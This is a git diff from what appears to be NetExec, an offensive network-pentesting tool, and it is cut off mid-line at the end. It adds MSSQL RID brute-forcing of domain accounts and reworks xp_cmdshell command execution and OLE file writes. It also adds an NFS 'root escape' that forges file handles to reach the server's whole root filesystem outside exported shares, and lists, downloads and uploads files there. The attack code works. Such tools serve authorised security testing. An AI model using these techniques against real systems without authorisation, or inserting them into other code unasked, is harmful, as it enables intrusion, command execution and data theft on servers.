b/nxc/protocols/ldap/proto_args.py index fc01c9d3..34fc22ce 100644 --- a/nxc/protocols/ldap/proto_args.py +++ b/nxc/protocols/ldap/proto_args.py @@ -5,7 +5,6 @@ def proto_args(parser, parents): ldap_parser = parser.add_parser("ldap", help="own stuff using LDAP", parents=parents, formatter_class=DisplayDefaultsNotNone) ldap_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes") ldap_parser.add_argument("--port", type=int, default=389, help="LDAP port") - ldap_parser.add_argument("--no-smb", action="store_true", help="No smb connection") dgroup = ldap_parser.add_mutually_exclusive_group() dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to") @@ -15,8 +14,10 @@ def proto_args(parser, parents): egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file") egroup.add_argument("--kerberoasting", help="Output TGS ticket to crack with hashcat to file") - vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos") + vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain") + vgroup.add_argument("--base-dn", metavar="BASE_DN", dest="base_dn", type=str, default=None, help="base DN for search queries") vgroup.add_argument("--query", nargs=2, help="Query LDAP with a custom filter and attributes") + vgroup.add_argument("--find-delegation", action="store_true", help="Finds delegation relationships within an Active Directory domain. (Enabled Accounts only)") vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION") vgroup.add_argument("--password-not-required", action="store_true", help="Get the list of users with flag PASSWD_NOTREQD") vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1") diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 61ce3f73..655484a7 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -15,6 +15,7 @@ from nxc.protocols.mssql.mssqlexec import MSSQLEXEC from impacket import tds, ntlm from impacket.krb5.ccache import CCache +from impacket.dcerpc.v5.dtypes import SID from impacket.tds import ( SQLErrorException, TDS_LOGINACK_TOKEN, @@ -141,7 +142,6 @@ class mssql(connection): def print_host_info(self): self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})") - return True @reconnect_mssql def kerberos_login( @@ -417,3 +417,46 @@ class mssql(connection): else: _type = f"{key['Type']:d}" return f"(ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')})" + + def rid_brute(self, max_rid=None): + entries = [] + if not max_rid: + max_rid = int(self.args.rid_brute) + + try: + # Query domain + domain = self.conn.sql_query("SELECT DEFAULT_DOMAIN()")[0][""] + + # Query known group to determine raw SID & convert to canon + raw_domain_sid = self.conn.sql_query(f"SELECT SUSER_SID('{domain}\\Domain Admins')")[0][""] + domain_sid = SID(bytes.fromhex(raw_domain_sid.decode())).formatCanonical()[:-4] + except Exception as e: + self.logger.fail(f"Error parsing SID. Not domain joined?: {e}") + + so_far = 0 + simultaneous = 1000 + for _j in range(max_rid // simultaneous + 1): + sids_to_check = (max_rid - so_far) % simultaneous if (max_rid - so_far) // simultaneous == 0 else simultaneous + if sids_to_check == 0: + break + + # Batch query multiple sids at a time + sid_queries = [f"SELECT SUSER_SNAME(SID_BINARY(N'{domain_sid}-{i:d}'))" for i in range(so_far, so_far + sids_to_check)] + raw_output = self.conn.sql_query(";".join(sid_queries)) + + for n, item in enumerate(raw_output): + username = item[""] + if username == "NULL": + continue + rid = so_far + n + self.logger.highlight(f"{rid}: {username}") + entries.append( + { + "rid": rid, + "domain": domain, + "username": username.split("\\")[1], + } + ) + + so_far += simultaneous + return entries diff --git a/nxc/protocols/mssql/database.py b/nxc/protocols/mssql/database.py index 9b6edf85..94ba5e3e 100755 --- a/nxc/protocols/mssql/database.py +++ b/nxc/protocols/mssql/database.py @@ -189,7 +189,7 @@ class database(BaseDB): nxc_logger.debug(f"Hosts: {hosts}") if users is not None and hosts is not None: - for user, host in zip(users, hosts): + for user, host in zip(users, hosts, strict=True): user_id = user[0] host_id = host[0] link = {"userid": user_id, "hostid": host_id} diff --git a/nxc/protocols/mssql/mssqlexec.py b/nxc/protocols/mssql/mssqlexec.py index 3fe0bb8e..3436a002 100755 --- a/nxc/protocols/mssql/mssqlexec.py +++ b/nxc/protocols/mssql/mssqlexec.py @@ -6,13 +6,15 @@ class MSSQLEXEC: self.mssql_conn = connection self.logger = logger + # Store the original state of options that have to be enabled/disabled in order to restore them later + self.backuped_options = {} + def execute(self, command): result = None - try: - self.logger.debug("Attempting to enable xp cmd shell") - self.enable_xp_cmdshell() - except Exception as e: - self.logger.error(f"Error when attempting to enable x_cmdshell: {e}") + + self.backup_and_enable("advanced options") + self.backup_and_enable("xp_cmdshell") + try: cmd = f"exec master..xp_cmdshell '{command}'" self.logger.debug(f"Attempting to execute query: {cmd}") @@ -27,42 +29,57 @@ class MSSQLEXEC: except Exception as e: self.logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}") - try: - self.logger.debug("Attempting to disable xp cmd shell") - self.disable_xp_cmdshell() - except Exception as e: - self.logger.error(f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}") + self.restore("xp_cmdshell") + self.restore("advanced options") + return result - def enable_xp_cmdshell(self): - query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;" - self.logger.debug(f"Executing query: {query}") - self.mssql_conn.sql_query(query) + def restore(self, option): + try: + if not self.backuped_options[option]: + self.logger.debug(f"Option '{option}' was not enabled originally, attempting to disable it.") + query = f"EXEC master.dbo.sp_configure '{option}', 0;RECONFIGURE;" + self.logger.debug(f"Executing query: {query}") + self.mssql_conn.sql_query(query) + else: + self.logger.debug(f"Option '{option}' was originally enabled, leaving it enabled.") + except Exception as e: + self.logger.error(f"[OPSEC] Error when attempting to restore option '{option}': {e}") - def disable_xp_cmdshell(self): - query = "exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;" - self.logger.debug(f"Executing query: {query}") - self.mssql_conn.sql_query(query) + def backup_and_enable(self, option): + try: + self.backuped_options[option] = self.is_option_enabled(option) + if not self.backuped_options[option]: + self.logger.debug(f"Option '{option}' is disabled, attempting to enable it.") + query = f"EXEC master.dbo.sp_configure '{option}', 1;RECONFIGURE;" + self.logger.debug(f"Executing query: {query}") + self.mssql_conn.sql_query(query) + else: + self.logger.debug(f"Option '{option}' is already enabled.") + except Exception as e: + self.logger.error(f"Error when checking/enabling option '{option}': {e}") - def enable_ole(self): - query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;" - self.logger.debug(f"Executing query: {query}") - self.mssql_conn.sql_query(query) - - def disable_ole(self): - query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;" - self.logger.debug(f"Executing query: {query}") - self.mssql_conn.sql_query(query) + def is_option_enabled(self, option): + query = f"EXEC master.dbo.sp_configure '{option}';" + self.logger.debug(f"Checking if {option} is enabled: {query}") + result = self.mssql_conn.sql_query(query) + # Assuming the query returns a list of dictionaries with 'config_value' as the key + self.logger.debug(f"{option} check result: {result}") + if result and result[0]["config_value"] == 1: + return True + return False def put_file(self, data, remote): try: - self.enable_ole() + self.backup_and_enable("advanced options") + self.backup_and_enable("Ole Automation Procedures") hexdata = data.hex() self.logger.debug(f"Hex data to write to file: {hexdata}") query = f"DECLARE @ob INT;EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;EXEC sp_OASetProperty @ob, 'Type', 1;EXEC sp_OAMethod @ob, 'Open';EXEC sp_OAMethod @ob, 'Write', NULL, 0x{hexdata};EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{remote}', 2;EXEC sp_OAMethod @ob, 'Close';EXEC sp_OADestroy @ob;" self.logger.debug(f"Executing query: {query}") self.mssql_conn.sql_query(query) - self.disable_ole() + self.restore("Ole Automation Procedures") + self.restore("advanced options") except Exception as e: self.logger.debug(f"Error uploading via mssqlexec: {e}") diff --git a/nxc/protocols/mssql/proto_args.py b/nxc/protocols/mssql/proto_args.py index 1bb5363f..b810ccea 100644 --- a/nxc/protocols/mssql/proto_args.py +++ b/nxc/protocols/mssql/proto_args.py @@ -29,4 +29,6 @@ def proto_args(parser, parents): tgroup.add_argument("--put-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Put a local file into remote target, ex: whoami.txt C:\\\\Windows\\\\Temp\\\\whoami.txt") tgroup.add_argument("--get-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Get a remote file, ex: C:\\\\Windows\\\\Temp\\\\whoami.txt whoami.txt") + mapping_enum_group = mssql_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating") + mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs") return parser \ No newline at end of file diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 86e5617d..04d534cc 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -1,13 +1,75 @@ +from termcolor import colored from nxc.connection import connection from nxc.logger import NXCAdapter from nxc.helpers.logger import highlight -from pyNfsClient import Portmap, Mount, NFSv3, NFS_PROGRAM, NFS_V3, ACCESS3_READ, ACCESS3_MODIFY, ACCESS3_EXECUTE, NFSSTAT3 +from nxc.config import host_info_colors +from pyNfsClient import ( + Portmap, + Mount, + NFSv3, +) +from pyNfsClient.const import ( + NFS_PROGRAM, + NFS_V3, + ACCESS3_READ, + ACCESS3_MODIFY, + ACCESS3_EXECUTE, + NFSSTAT3, + NFS3ERR_NOENT, + NF3REG, +) import re import uuid import math import os +class FileID: + root = "root" + ext = "ext/xfs" + btrfs = "btrfs" + udf = "udf" + nilfs = "nilfs" + fat = "fat" + lustre = "lustre" + kernfs = "kernfs" + invalid = "invalid" + unknown = "unknown" + + +# src: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 +fileid_types = { + 0: FileID.root, + 1: FileID.ext, + 2: FileID.ext, + 0x81: FileID.ext, + 0x4d: FileID.btrfs, + 0x4e: FileID.btrfs, + 0x4f: FileID.btrfs, + 0x51: FileID.udf, + 0x52: FileID.udf, + 0x61: FileID.nilfs, + 0x62: FileID.nilfs, + 0x71: FileID.fat, + 0x72: FileID.fat, + 0x97: FileID.lustre, + 0xfe: FileID.kernfs, + 0xff: FileID.invalid +} + +# src: https://elixir.bootlin.com/linux/v6.13.4/source/fs/nfsd/nfsfh.h#L17-L45 +fsid_lens = { + 0: 8, + 1: 4, + 2: 12, + 3: 8, + 4: 8, + 5: 8, + 6: 16, + 7: 24, +} + + class nfs(connection): def __init__(self, args, db, host): self.protocol = "nfs" @@ -22,6 +84,10 @@ class nfs(connection): "gid": 0, "aux_gid": [], } + self.root_escape = False + # If root escape is possible, the escape_share and escape_fh will be populated + self.escape_share = None + self.escape_fh = b"" connection.__init__(self, args, db, host) def proto_logger(self): @@ -50,7 +116,7 @@ class nfs(connection): self.port = self.mnt_port self.proto_logger() except Exception as e: - self.logger.fail(f"Error during Initialization: {e}") + self.logger.info(f"Error during Initialization: {e}") return False return True @@ -63,13 +129,20 @@ class nfs(connection): for program in programs: if program["program"] == NFS_PROGRAM: self.nfs_versions.add(program["version"]) - return self.nfs_versions except Exception as e: self.logger.debug(f"Error checking NFS version: {self.host} {e}") + # Connect to NFS + nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3) + self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) + self.nfs3.connect() + # Check if root escape is possible + self.root_escape = self.try_root_escape() + self.nfs3.disconnect() + def print_host_info(self): - self.logger.display(f"Target supported NFS versions: ({', '.join(str(x) for x in self.nfs_versions)})") - return True + root_escape_str = colored(f"root escape:{self.root_escape}", host_info_colors[1 if self.root_escape else 0], attrs=["bold"]) + self.logger.display(f"Supported NFS versions: ({', '.join(str(x) for x in self.nfs_versions)}) ({root_escape_str})") def disconnect(self): """Disconnect mount and portmap if they are connected""" @@ -168,9 +241,13 @@ class nfs(connection): # Mount shares and check permissions self.logger.highlight(f"{'UID':<11}{'Perms':<9}{'Storage Usage':<17}{'Share':<30} {'Access List':<15}") self.logger.highlight(f"{'---':<11}{'-----':<9}{'-------------':<17}{'-----':<30} {'-----------':<15}") - for share, network in zip(shares, networks): + for share, network in zip(shares, networks, strict=True): try: mnt_info = self.mount.mnt(share, self.auth) + self.logger.debug(f"Mounted {share} - {mnt_info}") + if mnt_info["status"] != 0: + self.logger.fail(f"Error mounting share {share}: {NFSSTAT3[mnt_info['status']]}") + continue file_handle = mnt_info["mountinfo"]["fhandle"] info = self.nfs3.fsstat(file_handle, self.auth) @@ -222,10 +299,16 @@ class nfs(connection): networks = self.export_info(self.mount.export()) self.logger.display("Enumerating NFS Shares Directories") - for share, network in zip(shares, networks): + for share, network in zip(shares, networks, strict=True): try: mount_info = self.mount.mnt(share, self.auth) - contents = self.list_dir(mount_info["mountinfo"]["fhandle"], share, self.args.enum_shares) + self.logger.debug(f"Mounted {share} - {mount_info}") + if mount_info["status"] != 0: + self.logger.fail(f"Error mounting share {share}: {NFSSTAT3[mount_info['status']]}") + continue + + fhandle = mount_info["mountinfo"]["fhandle"] + contents = self.list_dir(fhandle, share, self.args.enum_shares) self.logger.success(share) if contents: @@ -265,17 +348,38 @@ class nfs(connection): self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) self.nfs3.connect() - # Mount the NFS share - mnt_info = self.mount.mnt(remote_dir_path, self.auth) + # Mount the NFS share or get the root handle + if self.root_escape and not self.args.share: + mount_fh = self.escape_fh + elif not self.args.share: + self.logger.fail("No root escape possible, please specify a share") + return + else: + mnt_info = self.mount.mnt(self.args.share, self.auth) + if mnt_info["status"] != 0: + self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}") + return + mount_fh = mnt_info["mountinfo"]["fhandle"] - # Update the UID for the file - attrs = self.nfs3.getattr(mnt_info["mountinfo"]["fhandle"], auth=self.auth) - self.auth["uid"] = attrs["attributes"]["uid"] - dir_handle = mnt_info["mountinfo"]["fhandle"] + # Iterate over the path until we hit the file + curr_fh = mount_fh + for sub_path in remote_file_path.lstrip("/").split("/"): + # Update the UID for the next object and get the handle + self.update_auth(mount_fh) + res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth) - # Get the file handle and file size - dir_data = self.nfs3.lookup(dir_handle, file_name, auth=self.auth) - file_handle = dir_data["resok"]["object"]["data"] + # Check for a bad path + if "resfail" in res and res["status"] == NFS3ERR_NOENT: + self.logger.fail(f"Unknown path: {remote_file_path!r}") + return + + curr_fh = res["resok"]["object"]["data"] + # If response is file then break + if res["resok"]["obj_attributes"]["attributes"]["type"] == NF3REG: + break + + # Update the UID and GID for the file + self.update_auth(curr_fh) # Handle files over the default chunk size of 1024 * 1024 offset = 0 @@ -284,7 +388,7 @@ class nfs(connection): # Loop until we have read the entire file with open(local_file_path, "wb+") as local_file: while not eof: - file_data = self.nfs3.read(file_handle, offset, auth=self.auth) + file_data = self.nfs3.read(curr_fh, offset, auth=self.auth) if "resfail" in file_data: raise Exception("Insufficient Permissions") @@ -299,7 +403,7 @@ class nfs(connection): # Write the file data to the local file local_file.write(data) - self.logger.highlight(f"File successfully downloaded to {local_file_path} from {remote_file_path}") + self.logger.highlight(f"File successfully downloaded from {remote_file_path} to {local_file_path}") # Unmount the share self.mount.umnt(self.auth) @@ -312,18 +416,13 @@ class nfs(connection): """Uploads a file to the NFS share""" local_file_path = self.args.put_file[0] remote_file_path = self.args.put_file[1] - file_name = "" + remote_dir_path, file_name = os.path.split(remote_file_path) # Check if local file is exist if not os.path.isfile(local_file_path): self.logger.fail(f"{local_file_path} does not exist.") return - # Do a bit of smart handling for the file paths - file_name = local_file_path.split("/")[-1] if "/" in local_file_path else local_file_path - if not remote_file_path.endswith("/"): - remote_file_path += "/" - self.logger.display(f"Uploading from {local_file_path} to {remote_file_path}") try: # Connect to NFS @@ -331,26 +430,55 @@ class nfs(connection): self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) self.nfs3.connect() - # Mount the NFS share to create the file - mnt_info = self.mount.mnt(remote_file_path, self.auth) - dir_handle = mnt_info["mountinfo"]["fhandle"] + # Mount the NFS share or get the root handle + if self.root_escape and not self.args.share: + mount_fh = self.escape_fh + elif not self.args.share: + self.logger.fail("No root escape possible, please specify a share") + return + else: + mnt_info = self.mount.mnt(self.args.share, self.auth) + if mnt_info["status"] != 0: + self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}") + return + mount_fh = mnt_info["mountinfo"]["fhandle"] - # Update the UID from the directory - attrs = self.nfs3.getattr(dir_handle, auth=self.auth) - self.auth["uid"] = attrs["attributes"]["uid"] + # Iterate over the path + curr_fh = mount_fh + # If target dir is "" or "/" without filter we would get one item with [""] + for sub_path in list(filter(None, remote_dir_path.lstrip("/").split("/"))): + self.update_auth(mount_fh) + res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth) + + # If the path does not exist, create it + if "resfail" in res and res["status"] == NFS3ERR_NOENT: + self.logger.display(f"Creating directory '/{sub_path}/'") + res = self.nfs3.mkdir(curr_fh, sub_path, 0o777, auth=self.auth) + if res["status"] != 0: + self.logger.fail(f"Error creating directory '/{sub_path}/': {NFSSTAT3[res['status']]}") + return + else: + curr_fh = res["resok"]["obj"]["handle"]["data"] + continue + + curr_fh = res["resok"]["object"]["data"] + + # Update the UID and GID from the directory + self.update_auth(curr_fh) # Checking if file_name already exists on remote file path - lookup_response = self.nfs3.lookup(dir_handle, file_name, auth=self.auth) + lookup_response = self.nfs3.lookup(curr_fh, file_name, auth=self.auth) # If success, file_name does not exist on remote machine. Else, trying to overwrite it. if lookup_response["resok"] is None: # Create file self.logger.display(f"Trying to create {remote_file_path}{file_name}") - res = self.nfs3.create(dir_handle, file_name, create_mode=1, mode=0o777, auth=self.auth) + res = self.nfs3.create(curr_fh, file_name, create_mode=1, mode=0o777, auth=self.auth) if res["status"] != 0: raise Exception(NFSSTAT3[res["status"]]) else: file_handle = res["resok"]["obj"]["handle"]["data"] + self.update_auth(file_handle) self.logger.success(f"{file_name} successfully created") else: # Asking the user if they want to overwrite the file @@ -358,18 +486,22 @@ class nfs(connection): if ans.lower() in ["y", "yes", ""]: self.logger.display(f"{file_name} already exists on {remote_file_path}. Trying to overwrite it...") file_handle = lookup_response["resok"]["object"]["data"] - else: - self.logger.fail(f"Uploading was not successful. The {file_name} is exist on {remote_file_path}") - return + + # Update the UID and GID for the file + self.update_auth(file_handle) try: with open(local_file_path, "rb") as file: file_data = file.read().decode() # Write the data to the remote file - self.logger.display(f"Trying to write data from {local_file_path} to {remote_file_path}") - self.nfs3.write(file_handle, 0, len(file_data), file_data, 1, auth=self.auth) - self.logger.success(f"Data from {local_file_path} successfully written to {remote_file_path}") + self.logger.info(f"Trying to write data from {local_file_path} to {remote_file_path}") + res = self.nfs3.write(file_handle, 0, len(file_data), file_data, 1, auth=self.auth) + if res["status"] != 0: + self.logger.fail(f"Error writing to {remote_file_path}: {NFSSTAT3[res['status']]}") + return + else: + self.logger.success(f"Data from {local_file_path} successfully written to {remote_file_path} with permissions 777") except Exception as e: self.logger.fail(f"Could not write to {local_file_path}: {e}") @@ -380,6 +512,216 @@ class nfs(connection): else: self.logger.highlight(f"File {local_file_path} successfully uploaded to {remote_file_path}") + def get_root_handles(self, mount_fh): + """ + Get possible root handles to escape to the root filesystem + Sources: + https://elixir.bootlin.com/linux/v6.13.4/source/fs/nfsd/nfsfh.h#L47-L62 + https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 + https://github.com/hvs-consulting/nfs-security-tooling/blob/main/nfs_analyze/nfs_analyze.py + + Usually: + - 1 byte: 0x01 fb_version + - 1 byte: 0x00 fb_auth_type, can be 0x00 (no auth) and 0x01 (some md5 auth), but is hardcoded to 0x00 in the linux kernel + - 1 byte: 0xXX fb_fsid_type -> determines the encoding (length) of the fsid, just must be preserved + - 1 byte: 0xXX fb_fileid_type -> determines the filesystem type + """ + # First enumerate the directory and try to find a file/dir that contains the fid_type (4th position: handle[3]) + # See: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 + dir_data = self.format_directory(self.nfs3.readdirplus(mount_fh, auth=self.auth)) + filesystem = FileID.unknown + for entry in dir_data: + # Check if "." is already the root directory + if entry["name"] == b".": + if entry["name_handle"]["handle"]["data"][0] in [b"\x02", b"\x80"]: + self.logger.debug("Exported share is already the root directory") + return [entry["name_handle"]["handle"]["data"]] + elif entry["name"] == b"..": + continue + else: + try: + fid_type = entry["name_handle"]["handle"]["data"][3] + if fid_type in fileid_types: + filesystem = fileid_types[fid_type] + self.logger.debug(f"Found filesystem type: {filesystem}") + break + except Exception as e: + self.logger.debug(f"Error on getting filesystem type: {e}") + continue + + self.logger.debug(f"Filesystem type: {filesystem}") + + # Generate the root handle depending on the filesystem type and preserve the file_id (respect the length) + fh_fsid_type = mount_fh[2] + fh_fsid_len = fsid_lens[fh_fsid_type] + root_handles = [] + + # Generate possible root handles + # General syntax: 4 byte header + fsid + fileid + # Format for the file id see: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 + fh = bytearray(mount_fh) + if filesystem in [FileID.ext, FileID.unknown]: + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) # noqa: E226 FURB113 + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) # noqa: E226 + if filesystem in [FileID.btrfs, FileID.unknown]: + # Iterate over btrfs subvolumes, use 16 as default similar to the guys from nfs-security-tooling + for i in range(16): + subvolume = int.to_bytes(i) + b"\x01\x00\x00" + root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) # noqa: E226 + + return root_handles + + def try_root_escape(self) -> bool: + """ + With an established connection look for a share that can be escaped to the root filesystem. + If successfull, self.escape_share and self.escape_fh will be populated. + + Returns + ------- + bool: True if root escape was successful + """ + if not self.nfs3: + raise Exception("NFS connection is not established") + + output_export = str(self.mount.export()) + reg = re.compile(r"ex_dir=b'([^']*)'") # Get share names + shares = list(reg.findall(output_export)) + + self.logger.debug(f"Trying root escape on shares: {shares}") + for share in shares: + mount_info = self.mount.mnt(share, self.auth) + if mount_info["status"] != 0: + self.logger.debug(f"Root escape: can't list directory {share}: {NFSSTAT3[mount_info['status']]}") + self.mount.umnt(self.auth) + continue + mount_fh = mount_info["mountinfo"]["fhandle"] + try: + possible_root_fhs = self.get_root_handles(mount_fh) + for fh in possible_root_fhs: + if "resfail" not in self.nfs3.readdir(fh, auth=self.auth): + self.logger.info(f"Root escape successful on share '{share}' with handle: {fh.hex()}") + self.escape_share = share + self.escape_fh = fh + self.mount.umnt(self.auth) + return True + except Exception as e: + self.logger.debug(f"Error trying root escape on share '{share}': {e}") + self.mount.umnt(self.auth) + return False + + def ls(self): + # Connect to NFS + nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3) + self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) + self.nfs3.connect() + + # Remove leading or trailing slashes + self.args.ls = self.args.ls.lstrip("/").rstrip("/") + + # NORMAL LS CALL (without root escape) + if self.args.share: + mount_info = self.mount.mnt(self.args.share, self.auth) + mount_fh = mount_info["mountinfo"]["fhandle"] + elif self.root_escape: + # Interestingly we don't actually have to mount the share if we already got the handle + self.logger.success(f"Successful escape on share: {self.escape_share}") + mount_fh = self.escape_fh + else: + self.logger.fail("No root escape possible, please specify a share") + return + + # Update UID and GID for the share + self.update_auth(mount_fh) + + # We got a path to look up + curr_fh = mount_fh + is_file = False # If the last path is a file + + # If ls is "" or "/" without filter we would get one item with [""] + for sub_path in list(filter(None, self.args.ls.split("/"))): + res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth) + + if "resfail" in res and res["status"] == NFS3ERR_NOENT: + self.logger.fail(f"Unknown path: {self.args.ls!r}") + return + # If file then break and only display file + if res["resok"]["obj_attributes"]["attributes"]["type"] == NF3REG: + is_file = True + break + curr_fh = res["resok"]["object"]["data"] + + # Update the UID and GID for the file/dir + self.update_auth(curr_fh) + + dir_listing = self.nfs3.readdirplus(curr_fh, auth=self.auth) + if dir_listing["status"] != 0: + self.logger.fail(f"Error on listing directory: {NFSSTAT3[dir_listing['status']]}") + return + content = self.format_directory(dir_listing) + + # Sometimes the NFS Server does not return the attributes for the files + # However, they can still be looked up individually is missing + for item in content: + if not item["name_attributes"]["present"]: + try: + res = self.nfs3.lookup(curr_fh, item["name"].decode(), auth=self.auth) + item["name_attributes"]["attributes"] = res["resok"]["obj_attributes"]["attributes"] + item["name_attributes"]["present"] = True + item["name_handle"]["handle"] = res["resok"]["object"] + item["name_handle"]["present"] = True + except Exception as e: + self.logger.debug(f"Error on getting attributes for {item['name'].decode()}: {e}") + + # If the requested path is a file, we filter out all other files + path = f"{self.args.share if self.args.share else ''}/{self.args.ls}" + if is_file: + content = [x for x in content if x["name"].decode() == sub_path] + path = path.rsplit("/", 1)[0] # Remove the file from the path + self.print_directory(content, path) + + def print_directory(self, content, path): + """ + Highlight log the content of the directory provided by a READDIRPLUS call. + Expects an FORMATED output of self.format_directory. + """ + self.logger.highlight(f"{'UID':<11}{'Perms':<7}{'File Size':<14}{'File Path'}") + self.logger.highlight(f"{'---':<11}{'-----':<7}{'---------':<14}{'---------'}") + for item in content: + if not item["name_attributes"]["present"] or not item["name_handle"]["present"]: + uid = "-" + perms = "----" + file_size = "-" + else: + uid = item["name_attributes"]["attributes"]["uid"] + is_dir = "d" if item["name_attributes"]["attributes"]["type"] == 2 else "-" + read_perm, write_perm, exec_perm = self.get_permissions(item["name_handle"]["handle"]["data"]) + perms = f"{is_dir}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{'x' if exec_perm else '-'}" + file_size = convert_size(item["name_attributes"]["attributes"]["size"]) + self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode()}") + + def format_directory(self, raw_directory): + """Convert the chained directory entries to a list of the entries""" + if "resfail" in raw_directory: + self.logger.debug("Insufficient Permissions, NFS returned 'resfail'") + return {} + items = [] + nextentry = raw_directory["resok"]["reply"]["entries"][0] + while nextentry: + entry = nextentry + nextentry = entry["nextentry"][0] if entry["nextentry"] else None + entry.pop("nextentry") + items.append(entry) + + # Sort by name to be linux-like + return sorted(items, key=lambda x: x["name"].decode()) + + def update_auth(self, file_handle): + """Update the UID and GID for the file handle""" + attrs = self.nfs3.getattr(file_handle, auth=self.auth) + self.logger.debug(f"Updating auth with UID: {attrs['attributes']['uid']} and GID: {attrs['attributes']['gid']}") + self.auth["uid"] = attrs["attributes"]["uid"] + self.auth["gid"] = attrs["attributes"]["gid"] + def convert_size(size_bytes): if size_bytes == 0: diff --git a/nxc/protocols/nfs/proto_args.py b/nxc/protocols/nfs/proto_args.py index 48b8e41f..abdba2fd 100644 --- a/nxc/protocols/nfs/proto_args.py +++ b/nxc/protocols/nfs/proto_args.py @@ -4,8 +4,10 @@ def proto_args(parser, parents): nfs_parser.add_argument("--nfs-timeout", type=int, default=30, help="NFS connection timeout (default: %(default)ss)") dgroup = nfs_parser.add_argument_group("NFS Mapping/Enumeration", "Options for Mapping/Enumerating NFS") + dgroup.add_argument("--share", help="Specify a share, e.g. for --ls, --get-file, --put-file") dgroup.add_argument("--shares", action="store_true", help="List NFS shares") dgroup.add_argument("--enum-shares", nargs="?", type=int, const=3, help="Authenticate and enumerate exposed shares recursively (default depth: %(const)s)") + dgroup.add_argument("--ls", const="/", nargs="?", metavar="PATH", help="List files in the specified NFS share. Example: --ls /") dgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Download remote NFS file. Example: --get-file remote_file local_file") dgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Upload remote NFS file with chmod 777 permissions to the specified folder. Example: --put-file local_file remote_file") diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index 54595aeb..d9656694 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -22,6 +22,8 @@ from asyauth.common.credentials.kerberos import KerberosCredential from asyauth.common.constants import asyauthSecret from asysocks.unicomm.common.target import UniTarget, UniProto +from nxc.paths import NXC_PATH + class rdp(connection): def __init__(self, args, db, host): @@ -81,11 +83,6 @@ class rdp(connection): connection.__init__(self, args, db, host) - # def proto_flow(self): - # if self.create_conn_obj(): - # if self.login() or (self.username == '' and self.password == ''): - # if hasattr(self.args, 'module') and self.args.module: - def proto_logger(self): import platform if platform.python_version() in ["3.11.5", "3.11.6", "3.12.0"]: @@ -112,7 +109,6 @@ class rdp(connection): self.logger.display(f"Probably old, doesn't not support HYBRID or HYBRID_EX ({nla})") else: self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) ({nla})") - return True def create_conn_obj(self): self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout) @@ -172,6 +168,7 @@ class rdp(connection): return True def 